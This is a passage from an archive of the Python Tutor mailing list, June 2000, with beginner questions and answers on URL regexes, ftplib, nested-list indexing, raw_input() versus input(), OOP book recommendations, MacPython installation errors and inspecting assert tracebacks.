r = re.compile(r"[\s(<] (http|ftp) :// [^\s()<>]* [\s<>()]",
         re.VERBOSE+re.IGNORECASE)

We want to find the groups that form 2-4, so we should put () around that.
There is already () around http|ftp to match either of those, but we don't
want to find that group - we need (?:) there.

Second try:

r = re.compile(r"[\s(<] ( (?:http|ftp) :// [^\s()<>]* ) [\s<>()]",
         re.VERBOSE+re.IGNORECASE)

Now the only problem is that if there are two URLs right after each other,
the first one "consumes" the whitespace between them, so that the second
can't match (the whitespace before it is already matched). So part 5 should
match, but not consume the character. This is what (?=) does.

Third try:

r = re.compile(r"[\s(<] ( (?:http|ftp) :// [^\s()<>]* ) (?=[\s<>()])",
         re.VERBOSE+re.IGNORECASE)

Ah, but I've also forgotten the beginning of the line! It should recognize
them at the start of a line too. ^ is the start of the line. Same for the
end of the string.

Fourth try:
r = re.compile(r"(?:^|[\s(<]) ( (?:http|ftp) :// [^\s()<>]* ) (?=$|[\s<>()])",
         re.VERBOSE+re.IGNORECASE)

And this one works.

Actually, I suddenly realize that the last term isn't necessary - re will
greedily try to put as many characters as possible in the match, it will
always have one of those on the end.

Fifth try:

r = re.compile(r"(?:^|[\s(<]) ( (?:http|ftp) :// [^\s()<>]* )",
        re.VERBOSE+re.IGNORECASE)

>>> import re
>>> r = re.compile(r"(?:^|[\s(<]) ( (?:http|ftp) :// [^\s()<>]* )",
re.VERBOSE+re.IGNORECASE)
>>> r.findall("http://test FTP://spam<ftp://foo> (ftp)http://WHEE")
['http://test', FTP://spam', 'ftp://foo']

Doesn't find the last one, but I don't think it should.

Anyway, I didn't know much about them yet, I do know more now, learn by
experimenting ;-).
-- 
Remco Gerlich,  scarblac@pino.selwerd.nl


From arcege@shore.net  Tue Jun  6 12:50:03 2000
From: arcege@shore.net (Michael P. Reilly)
Date: Tue, 6 Jun 2000 07:50:03 -0400 (EDT)
Subject: [Tutor] ftplib
In-Reply-To: <002b01bfcf7a$33748fe0$33b74bcf@umich.edu> from "Andres Gelabert" at Jun 06, 2000 01:43:52 AM
Message-ID: <200006061150.HAA25396@northshore.shore.net>

> 
> By all means:
> 
> from ftplib import FTP
> ftp = FTP()
> ftp.connect("OtherServer")
> ftp.login("AccountOnOtherServer", "CorrespondingPassword")
> ftp.cwd("DirectoryIWant")
> ftp.retrbinary("retr DesiredFile", open("DesiredFile", "wb").write)
> 
> # The above results in the file's successful transfer
> # Now, I try only one of the following, with the described respective errors
> 
> quit()
> close()
> sendcmd("bye")

These are methods of the ftp object; I would suggest using "ftp.quit()"
as it sends the "quit" command ("bye" is a synonym), waits for the
response, then closes the connection.

  -Arcege

-- 
------------------------------------------------------------------------
| Michael P. Reilly, Release Manager  | Email: arcege@shore.net        |
| Salem, Mass. USA  01970             |                                |
------------------------------------------------------------------------


From alan.gauld@gssec.bt.co.uk  Tue Jun  6 15:49:41 2000
From: alan.gauld@gssec.bt.co.uk (Alan Gauld)
Date: Tue, 6 Jun 2000 15:49:41 +0100
Subject: [Tutor] Re: indexing lists
Message-ID: <393D0D70.5257504B@gssec.bt.co.uk>

> I'm wondering how, if even possible, you'd find the 
> index of a given number in the following list of lists:
>
> l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

Lets assume you use:

l = [[0,1,2],[3,4,5],[6,7,8]]

instead...

Now the 'row' is N/3 - ie 7 is in row 2, 5 in row 1 etc

the position within the row is index(n) of the row, 
thus:

row = l[int(N)/3] # force integer division
item = row.index(N)

> simpler [1, 2, 3, 4, 5, 6, 7, 8, 9] structure.

Another approach ius to use a dictionary.
brd = {	1:[0,[(2,3),(4,7),(5,9)]],
       	2:[0,[(1,3),(5,8)]],
	3:[0,[(1,2),(6,9),(5,7)]], etc...
	}

Where the content of the dictionary consists of:
+ the content of the cell 
	- unused = 0, 'X' = 1, 'O' = 2 say
+ a list of rows for that cell 
	- thus cell one has 3 rows formed by:
	  1,2,3 / 1,4,7 / 1,5,9

Or you could create a cell object to hold those things
as fields - probably nicer:

class cell:
   def __init__(self, rows, value=0):
     self.value = value	
     self.rows = rows

Now create a list of cells:

targets = [(1,2,3),(4,5,6),(7,8,9), # horizontals
	   (1,4,7),(2,5,6),(3,6,9), # verticals
	   (1,5,9),(3,5,7)]	    # diagonals

brd = []
rows = []
for i in range(1:10):
   # select the rows for this cell
   for t in targets:
      if i in t: rows.append(t)
   brd.append(Cell(rows))

You can then update the contents of a cell and extract 
the list of rows to check for that cell...

errr maybe, 
something like that might work :-)

Alan G.

-- 
=================================================
This post represents the views of the author 
and does not necessarily accurately represent 
the views of BT.


From doubletwist@spack.nu  Tue Jun  6 15:21:21 2000
From: doubletwist@spack.nu (doubletwist@spack.nu)
Date: Tue, 6 Jun 2000 07:21:21 -0700 (PDT)
Subject: [Tutor] Entering a list of numbers
In-Reply-To: <20000606131102.B23505@pino.selwerd.nl>
Message-ID: <Pine.LNX.4.21.0006060719070.23952-100000@snoopy.spack.nu>

Thanks for the info [and everyone else too]. I'm still getting the hang of
there being dozens of ways to do the same thing... :)



On Tue, 6 Jun 2000, Remco Gerlich wrote:

> 
> input() should only be used to enter any Python expression, like in
> the interpreter. It doesn't really have a place in normal programs, imo.
> People can enter any expression - including commands that wipe all your
> files, and so on...
> 
> Use raw_input() to get a string, then get the info you want from that.
> 
> def rollagain()
>    print "Which dice would you like to re-roll?"
>    entered = raw_input("Separate with commas. Enter 99 to keep all dice.")
>    
>    import string
>    # Split on comma - "3,4,5" results in ["3","4","5"]
>    elist = string.split(entered, ",")
>    # Turn all elements into integers
>    elist = map(int, elist)
>       
>    return elist
>    
>    
> Something like that will work better.
> 
> Btw, if you want to turn a tuple into a list, just use elist = list(entered).
> 
> And even if you did want a loop for it,
> 
> for e in entered:
>    elist.append(e)
>    
> Is a bit more Pythonic than using a count and a while loop :-)
> 
> -- 
> Remco Gerlich,  scarblac@pino.selwerd.nl
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://www.python.org/mailman/listinfo/tutor
> 



From wilson@visi.com  Wed Jun  7 05:01:13 2000
From: wilson@visi.com (Timothy Wilson)
Date: Tue, 6 Jun 2000 23:01:13 -0500 (CDT)
Subject: [Tutor] OOP book recommendation
Message-ID: <Pine.GSO.4.10.10006062247560.26690-100000@isis.visi.com>

Hi everyone,

I'm really interested in getting a handle on OOP. I know enough to know how
cool it can be. I'm the kind of person who likes to read a book and try to
absorb the big picture before attempting to implement something so I'm
hoping this group can recommend some reading material.

I'm especially interested in strategies for analyzing a problem from an OO
perspective and deciding how to structure classes and methods.

Alan Gauld recommends:

"Object Oriented Analysis" by Coad and Yourdon
"Object Oriented Analysis and Design with Applications" by Booch
"Object Oriented Software Construction" by Meyer
"Object Oriented Programming" by Budd

Anyone have one to add?

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From shaleh@valinux.com  Wed Jun  7 07:29:45 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Tue, 6 Jun 2000 23:29:45 -0700
Subject: [Tutor] OOP book recommendation
In-Reply-To: <Pine.GSO.4.10.10006062247560.26690-100000@isis.visi.com>; from wilson@visi.com on Tue, Jun 06, 2000 at 11:01:13PM -0500
References: <Pine.GSO.4.10.10006062247560.26690-100000@isis.visi.com>
Message-ID: <20000606232945.A2553@valinux.com>

On Tue, Jun 06, 2000 at 11:01:13PM -0500, Timothy Wilson wrote:
> Hi everyone,
> 
> I'm really interested in getting a handle on OOP. I know enough to know how
> cool it can be. I'm the kind of person who likes to read a book and try to
> absorb the big picture before attempting to implement something so I'm
> hoping this group can recommend some reading material.
> 
> Anyone have one to add?
> 

Design Patterns is good, as is the Pragmatic programmer.  Not so much about OO
in the second one, but very useful for one new to coding.


From Thomas_A._Williams@NEWYORKLIFE.COM  Wed Jun  7 16:08:41 2000
From: Thomas_A._Williams@NEWYORKLIFE.COM (Thomas A. Williams)
Date: Wed, 7 Jun 2000 11:08:41 -0400
Subject: [Tutor] OOP book recommendation
Message-ID: <852568F7.005338BA.00@Email.NewYorkLife.com>

--0__=N7EE4AHOLHpDyIp1burLeKP32rAwb1fgGwpR6jUqQC3pfCptNCuBK5xj
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


---------------------- Forwarded by Thomas A. Williams/NYLIC on 06/07/2000 11:14
AM ---------------------------
                                   THOMAS A.
                                    WILLIAMS
                              06/07/2000 10:43 AM
                  (Embedded image moved to file: pic14964.pcx)

To:   Timothy Wilson <wilson@visi.com> @ NYLGW
cc:
Subject:  Re: [Tutor] OOP book recommendation  (Document link not converted)

Hi Tim,

The book that help to tie it all together for me was

"Beginning Object-Oriented Analysis and Design : With C++" by Jesse Liberty

Enjoy The Journey,
TomW




Timothy Wilson <wilson@visi.com> on 06/07/2000 12:01:13 AM

To:   tutor@python.org
cc:    (bcc: Thomas A. Williams/NYLIC)
Subject:  [Tutor] OOP book recommendation




Hi everyone,

I'm really interested in getting a handle on OOP. I know enough to know how
cool it can be. I'm the kind of person who likes to read a book and try to
absorb the big picture before attempting to implement something so I'm
hoping this group can recommend some reading material.

I'm especially interested in strategies for analyzing a problem from an OO
perspective and deciding how to structure classes and methods.

Alan Gauld recommends:

"Object Oriented Analysis" by Coad and Yourdon
"Object Oriented Analysis and Design with Applications" by Booch
"Object Oriented Software Construction" by Meyer
"Object Oriented Programming" by Budd

Anyone have one to add?

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://www.python.org/mailman/listinfo/tutor





--0__=N7EE4AHOLHpDyIp1burLeKP32rAwb1fgGwpR6jUqQC3pfCptNCuBK5xj
Content-type: application/octet-stream; 
	name="pic14964.pcx"
Content-Disposition: attachment; filename="pic14964.pcx"
Content-transfer-encoding: base64

CgUBCAAAAAArABoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABLAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADID9MAyQAAxA/CDw/JD9IAyQDFD8IPD8oP0gDHAMUPww8Pyw/RAMYAxg/D
Dw/MD9EAxADGD8MPwg/NDdAAwwDHDcMNwg3OD9AAAMcPxA/CD88PzwDID8QPwg/DD80NzQDIDcQN
wg8P0Q/LAMkPxA/CDw/SD8kAyQ/FD8IPD8YPzQ3HAMoNwg3ED8IP1A/FAMoPxQ/DDw/VD8MAyw/F
D8MPD8kPzQ0Ayw0NxQ/DDw/XD8sPxg/DDw/XD8sPxg/DDw/MD9ENww3HD8MPwg/XD8sPxg/DDw/X
D8sPxg/DDw/PD84NyA/ED8IPD9cPyw/GD8MPD9cPyw/GD8MPD9IPyA3KD8UPwg8P1w/LD8YPww8P
1w/LD8YPww8P1Q/CDcsPxg/DDw8MAAAAgAAAAIAAgIAAAACAgACAAICAgICAwMDA/wAAAP8A//8A
AAD//wD/AP//////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

--0__=N7EE4AHOLHpDyIp1burLeKP32rAwb1fgGwpR6jUqQC3pfCptNCuBK5xj--



From kojo@tamu.edu  Wed Jun  7 20:03:35 2000
From: kojo@tamu.edu (Kojo Idrissa)
Date: Wed, 07 Jun 2000 14:03:35 -0500
Subject: [Tutor] Re: OOP book recommendation
In-Reply-To: <20000607160015.2A2571CD2C@dinsdale.python.org>
Message-ID: <4.3.2.7.0.20000607135622.00b03a20@unix.tamu.edu>

I'm currently reading "Fundamentals of OO Design in UML" by Meilir 
Page-Jones.  It teaches OO Design using UML.  I've been trying to learn 
both for some research I'm working on, and it's been quite helpful.  My 
thinking is that being able to look at things from an OO design perspective 
will help the coding process.  Anyone care to share any thoughts on that (I 
could be wrong...)

I'm not going to be a real Code Jock, but I need to know how to design 
systems/software. I've found the book very useful and it's fun to 
read.  The author has a very accessible writing style.

Hope this helps,
****************************
Kojo Idrissa
KPMG Scholar
Accounting Doctoral Student
Texas A&M University

Kojo@tamu.edu
401M Wehner Bldg.
979-862-2726
****************************



From deirdre@deirdre.net  Wed Jun  7 20:15:52 2000
From: deirdre@deirdre.net (Deirdre Saoirse)
Date: Wed, 7 Jun 2000 12:15:52 -0700 (PDT)
Subject: [Tutor] Re: OOP book recommendation
In-Reply-To: <4.3.2.7.0.20000607135622.00b03a20@unix.tamu.edu>
Message-ID: <Pine.LNX.4.10.10006071211230.16114-100000@rockhopper.deirdre.org>

On Wed, 7 Jun 2000, Kojo Idrissa wrote:

> I'm not going to be a real Code Jock, but I need to know how to design 
> systems/software. I've found the book very useful and it's fun to 
> read.  The author has a very accessible writing style.

Since a lot of the reasons certain designs will work well (or not) is
something gained with experience as a hacker (I hesitate, as a woman, to
use the term "Code Jock"), I am not convinced one can learn anything other
than the rudiments of OOP design without being one.

-- 
_Deirdre   *   http://www.sfknit.org   *   http://www.deirdre.net
"Linux means never having to delete your love mail." -- Don Marti



From kojo@tamu.edu  Wed Jun  7 20:40:32 2000
From: kojo@tamu.edu (Kojo Idrissa)
Date: Wed, 07 Jun 2000 14:40:32 -0500
Subject: [Tutor] Re: OOP book recommendation
In-Reply-To: <Pine.LNX.4.10.10006071211230.16114-100000@rockhopper.deird
 re.org>
References: <4.3.2.7.0.20000607135622.00b03a20@unix.tamu.edu>
Message-ID: <4.3.2.7.0.20000607143232.00afca60@unix.tamu.edu>

At 12:15 PM 6/7/00 -0700, you wrote:
>Since a lot of the reasons certain designs will work well (or not) is
>something gained with experience as a hacker (I hesitate, as a woman, to
>use the term "Code Jock"), I am not convinced one can learn anything other
>than the rudiments of OOP design without being one.
         Good point.  My plan is to focus more on designing how pieces of 
software and how they SHOULD work.  That's what my research entails.  For 
my purposes (Accounting Info. Systems doctoral research) OO Design/UML is a 
faster route to being able to describe what I'm talking about to others 
(whoever's reading the papers I'll write).  I can also turn the diagrams 
into code, but I may not always need to write code for my purposes.  More 
often than not, I won't.  Not to say I wouldn't (that's part of the reason 
I'm learning Python), but there would be fewer times when code would be 
REQUIRED instead of a UML diagram.

I agree with you 100%.  The best way to know if something's going to work 
is through exerience.  I'm just not going to be implementing very much 
stuff (hence the, "not a Code Jock (Hacker)" statement).  More providing 
conceptual frameworks.  UML should let me do that with a greater level of 
detail.

Any suggestions you might have would be appreciated
****************************
Kojo Idrissa
KPMG Scholar
Accounting Doctoral Student
Texas A&M University

Kojo@tamu.edu
401M Wehner Bldg.
979-862-2726
****************************



From deirdre@deirdre.net  Wed Jun  7 20:56:32 2000
From: deirdre@deirdre.net (Deirdre Saoirse)
Date: Wed, 7 Jun 2000 12:56:32 -0700 (PDT)
Subject: [Tutor] Re: OOP book recommendation
In-Reply-To: <4.3.2.7.0.20000607143232.00afca60@unix.tamu.edu>
Message-ID: <Pine.LNX.4.10.10006071248050.16114-100000@rockhopper.deirdre.org>

On Wed, 7 Jun 2000, Kojo Idrissa wrote:

>          Good point.  My plan is to focus more on designing how pieces
> of software and how they SHOULD work.  That's what my research
> entails.  For my purposes (Accounting Info. Systems doctoral research)
> OO Design/UML is a faster route to being able to describe what I'm
> talking about to others (whoever's reading the papers I'll write).  I
> can also turn the diagrams into code, but I may not always need to
> write code for my purposes.  More often than not, I won't.  Not to say
> I wouldn't (that's part of the reason I'm learning Python), but there
> would be fewer times when code would be REQUIRED instead of a UML
> diagram.

In my opinion, I've read exactly one book that I found was a real
eye-opener as far as design goes. It goes doubly with OOP as data is
encapsulated in a class. It is not, however, an OOP book in the strict
sense.

The book is: Structured Analysis and System Specification by Tom Demarco.
It's clear, easy to understand and makes a really compelling case that
MOST design is done backwards.

-- 
_Deirdre   *   http://www.sfknit.org   *   http://www.deirdre.net
"Linux means never having to delete your love mail." -- Don Marti



From cko@chyden.net  Thu Jun  8 00:40:11 2000
From: cko@chyden.net (Charlemagne Evans)
Date: Wed, 07 Jun 2000 19:40:11 -0400
Subject: [Tutor] Python installation woes
Message-ID: <393EDD5B.A56F0AAA@chyden.net>

Can someone point me to resources that will help me get Python to run on
my 500 MHz PowerBook G3, running Mac OS 9.0.4?

I've read your Jansen's MacPython page, and the pages linked to it that
look relevant, but cannot find the answer to my question.

I downloaded Python 1.5.2 and ran the installer.  Installation looked as
though it went through without a hitch.

However...

When I run the Interpreter, I get:

Python 1.5.2c1 (#56, Apr 12 1999, 14:19:52)  [CW PPC w/GUSI w/MSL]
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
'import exceptions' failed; use -v for traceback
Warning!  Falling back to string-based exceptions
'import site' failed; use -v for traceback
>>> 

When I run EditPythonPrefs, I get:

'import exceptions' failed; use -v for traceback
Warning!  Falling back to string-based exceptions
'import site' failed; use -v for traceback
Traceback (innermost last):
  File "flap:jack:Python:Mac:scripts:EditPythonPrefs.py", line 7, in ?
ImportError: No module named Events


When I run ConfigurePython, I get:

'import exceptions' failed; use -v for traceback
Warning!  Falling back to string-based exceptions
'import site' failed; use -v for traceback
Traceback (innermost last):
  File "flap:jack:Python:Mac:scripts:ConfigurePython.py", line 11, in ?
ImportError: No module named os

Where should I turn for installation help?

Thank you for taking the time to read this far.

C.Evans


From alan.gauld@bt.com  Thu Jun  8 09:47:36 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 8 Jun 2000 09:47:36 +0100
Subject: [Tutor] OOP book recommendation
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D18A@mbtlipnt02.btlabs.bt.co.uk>

> I'm really interested in getting a handle on OOP. I know 
> Alan Gauld recommends:
> "Object Oriented Analysis" by Coad and Yourdon
> "Object Oriented Programming" by Budd

These would be my "first book" recommendations.

Booch and Meyer are better if you want an "in depth" treatment.

But OO is really a new way of thinking for procedural 
programmers and it takes a while to get used to it. 

Its been said that your first OO project will be a
bad OO design, the second will be no worse than if you 
had used non OO techniques and by the time you do the 
third one you're starting to get the benefits. I'd go 
along with that, so make the first and second projects 
short and non critical!

The whole conversion to OO process usually takes between 
3-6 months for a traditional programmer. Its much better 
to learn OO from the start! Also for some reason hardware 
and real/time engineers seem to grasp OO quicker 
- OO message passing has a lot of similarities 
to event driven/interrupt driven architectures I suspect.

> Anyone have one to add?

I also like Jesse Liberty's 'From Clouds to Code' book 
- but you need the basic OO background from C/Y or Budd 
to understand it.

Similarly Fowler's UML Distilled is a good quick intro to both 
UML and the OO design process - but assumes you've got the 
basics already.

Brad Cox's OOP book is also a good explanation too but being based 
on Objective C and using his own SoftIC notation its not too 
portable to other things.

Alan G.


From DanK@CapitalStream.com  Thu Jun  8 10:35:00 2000
From: DanK@CapitalStream.com (Daniel Knierim)
Date: Thu, 8 Jun 2000 02:35:00 -0700
Subject: [Tutor] Capturing assert source code line
Message-ID: <29AFCA3055BDD211B96A00902745FFA0B3C387@S1MAIL1>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD12C.D51B0FF0
Content-Type: text/plain;
	charset="iso-8859-1"

Hello folks,
 
I think the easiest way to explain my question is by introducing it with an
example.  I defined this function in file 'fassert.py':
def fassert(v):
    assert v, `v`
--- end of file 'fassert.py'
 
Now in the interpreter:
>>>import fassert
>>>fassert.fassert(0)
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "fassert.py", line 2, in fassert
    assert v, `v`
Assertion Error: 0
>>>
--- end of interpreter fragment
 
Note the line "   assert v, `v`" in the interpreter's exception traceback,
showing the source code that hit the assertion.
 
Now back in the interpreter
>>>import sys
>>>try:
...    fassert.fassert(0)
...except AssertionError:
...    exc_info = sys.exc_info()
...
>>>exc_info
(<class exceptions.AssertionError at xxxxxx>, <exceptions.AssertionError
instance at xxxxxx>, <traceback object at xxxxxx>)
>>>exc_info[0].__dict__
{'__module__': 'exceptions', '__doc__': 'Assertion failed.'}
>>>exc_info[1].__dict__
{'args': ('0',)}
>>>tb = exc_info[2]
>>>next_frame = tb.tb_next.tb_frame
>>>next_frame.f_code
<code object fassert at xxxxxx, file "fassert.py", line 1>
>>>next_frame.f_lineno
2
>>>next_frame.f_locals
{'v': 0}
>>>
--- end of interpreter fragment
 
So I see how to retrieve most of the information the interpreter displays in
its exception traceback.
 
Now my question is -- how can I capture the source code line that hit the
assertion?  ("assert v, `v`" in this example). 
 
Thanks
-- Dan K. 

============================ 
No important issue is ever completely resolved.  Welcome to the real world
-- Join the debate.  (Robert Scheer)
 

------_=_NextPart_001_01BFD12C.D51B0FF0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Hello 
folks,</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=197223007-08062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>I think the 
easiest way to explain my question is by introducing it with an example.&nbsp; I 
defined&nbsp;this function in file 'fassert.py':</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>def 
fassert(v):<BR>&nbsp;&nbsp;&nbsp; assert v, `v`</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>--- end of file 
'fassert.py'</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=197223007-08062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Now in the 
interpreter:</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;import fassert</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;fassert.fassert(0)</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Traceback 
(innermost last):</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>&nbsp; File 
"&lt;stdin&gt;", line 1, in ?</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>&nbsp; File 
"fassert.py", line 2, in fassert</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&nbsp;&nbsp;&nbsp; assert v, `v`</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Assertion Error: 
0</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>--- end of 
interpreter fragment</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Note the 
line&nbsp;"&nbsp;&nbsp; assert v, `v`" in the interpreter's exception traceback, 
showing the source code that hit the assertion.</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=197223007-08062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Now back in the 
interpreter</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;import sys</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;try:</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>...&nbsp;&nbsp;&nbsp; 
fassert.fassert(0)</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>...except 
AssertionError:</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>...&nbsp;&nbsp;&nbsp; exc_info = 
sys.exc_info()</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>...</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;exc_info</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>(&lt;class 
exceptions.AssertionError at xxxxxx&gt;, &lt;exceptions.AssertionError instance 
at xxxxxx&gt;, &lt;traceback object at xxxxxx&gt;)</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;exc_info[0].__dict__</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>{'__module__': 
'exceptions', '__doc__': 'Assertion failed.'}</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;exc_info[1].__dict__</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>{'args': 
('0',)}</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>&gt;&gt;&gt;tb = 
exc_info[2]</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;next_frame = 
tb.tb_next.tb_frame</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;next_frame.f_code</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>&lt;code object 
fassert at xxxxxx, file "fassert.py", line 1&gt;</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;next_frame.f_lineno</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>2</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;next_frame.f_locals</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>{'v': 
0}</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>&gt;&gt;&gt;</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>--- end of 
interpreter fragment</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>So I see how to 
retrieve most of the information the interpreter displays in its exception 
traceback.</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN class=197223007-08062000>Now my question 
is -- how can I capture the source code line that hit the assertion?&nbsp; 
("assert v, `v`" in this example). </SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Fixedsys size=2><SPAN 
class=197223007-08062000>Thanks</SPAN></FONT></DIV>
<DIV><FONT face=Fixedsys><FONT size=2>-- Dan K.</FONT> </FONT></DIV>
<DIV><FONT face=Fixedsys><BR><FONT size=2>============================</FONT> 
<BR><FONT size=2>No important issue is ever completely 
